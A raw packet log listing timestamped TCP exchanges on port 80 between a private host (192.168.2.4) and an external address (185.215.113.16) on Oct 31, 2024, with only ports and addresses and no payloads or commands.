Oct 31, 2024 04:16:08.924763918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924813032 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.924829006 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924859047 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924874067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.924880981 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.924896002 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.924916983 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925108910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925152063 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925163031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925178051 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925201893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925206900 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925230026 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925240040 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925267935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925283909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925312042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925312996 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925590992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925636053 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925640106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925656080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925688028 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925697088 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925731897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925748110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.925786018 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.925786018 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926008940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926024914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926039934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926068068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926071882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926088095 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926101923 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926101923 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926139116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926407099 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926422119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926439047 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926451921 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926462889 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926486015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926508904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926512003 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926518917 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926527023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926549911 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926574945 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926590919 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926604033 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.926630974 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.926655054 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.927057028 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.927104950 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.927109003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.927120924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.927143097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.927161932 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.927198887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.927212954 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.927229881 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.927237988 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.927257061 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.927265882 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.995645046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.995666981 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.995682955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:08.995722055 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:08.995757103 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.041110039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.041186094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.086932898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.086956024 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.086988926 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087004900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087007046 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087029934 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087030888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087071896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087074995 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087111950 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087127924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087142944 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087167025 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087184906 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087249041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087280989 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087290049 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087296963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087331057 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087331057 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087379932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087431908 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087462902 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087479115 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087505102 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087523937 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087534904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087549925 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087580919 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087603092 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087780952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087795973 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087810993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087821960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087832928 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087856054 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087913990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.087973118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.087990046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088005066 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088033915 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088051081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088068008 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088099957 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088123083 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088152885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088166952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088176966 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088187933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088196993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088202000 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088232040 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088251114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088267088 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088283062 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088360071 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088360071 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088841915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088859081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088872910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.088891029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088902950 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088924885 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.088992119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089013100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089030027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089040995 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089050055 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089067936 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089075089 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089088917 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089114904 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089134932 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089338064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089366913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089381933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089385033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089397907 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089430094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089488983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089505911 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089520931 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089535952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089538097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089549065 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089586020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089586973 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089602947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089618921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089627028 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089643002 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089662075 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089672089 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089687109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.089710951 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.089729071 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.091892004 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.091902018 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.091943026 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.091975927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.091991901 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092015982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092020035 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092039108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092041016 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092056990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092057943 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092073917 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092081070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092089891 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092091084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092111111 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092124939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092137098 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092152119 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092165947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092175007 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092183113 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092196941 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092209101 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092216015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092228889 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092232943 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092258930 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092267036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092896938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092911005 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092933893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.092947960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092969894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.092992067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093015909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093030930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093036890 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093050003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093069077 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093230963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093254089 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093270063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093276024 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093292952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093303919 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093341112 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093355894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093377113 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093379974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093384981 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093413115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093413115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093420029 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093436003 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093450069 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.093457937 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093494892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.093494892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.094058037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.094094038 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.094108105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.094110012 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.094125986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.094130993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.094141960 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.094142914 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.094165087 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.094183922 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.112730980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.112790108 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.112804890 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.112821102 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.112837076 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.112847090 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.112853050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.112869024 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.112881899 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.112907887 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.158008099 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.158047915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.158062935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.158072948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.158078909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.158094883 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.158114910 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.158127069 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249198914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249279022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249294996 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249325037 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249623060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249670982 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249675989 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249720097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249723911 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249739885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249764919 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249789953 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249805927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249821901 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249836922 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249844074 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249866009 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249881029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249896049 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249911070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249932051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249943018 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249944925 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249965906 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.249982119 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.249990940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250003099 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250008106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250039101 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250039101 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250053883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250067949 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250082016 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250097036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250099897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250109911 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250133038 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250296116 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250310898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250339031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250343084 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250360966 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250365019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250377893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250381947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250394106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250401020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250411987 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250420094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250432968 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250451088 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250452995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250469923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250484943 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250495911 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250502110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250510931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250518084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250530005 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250535011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250545025 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250550985 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250561953 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250583887 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250590086 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250597954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250606060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250622034 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250628948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250638962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250648975 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250653982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250670910 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250674009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250686884 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250704050 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250720024 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250722885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250739098 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250752926 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250761986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.250770092 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.250782967 CET	49814	80	192.168.2.4	185.215.113.16
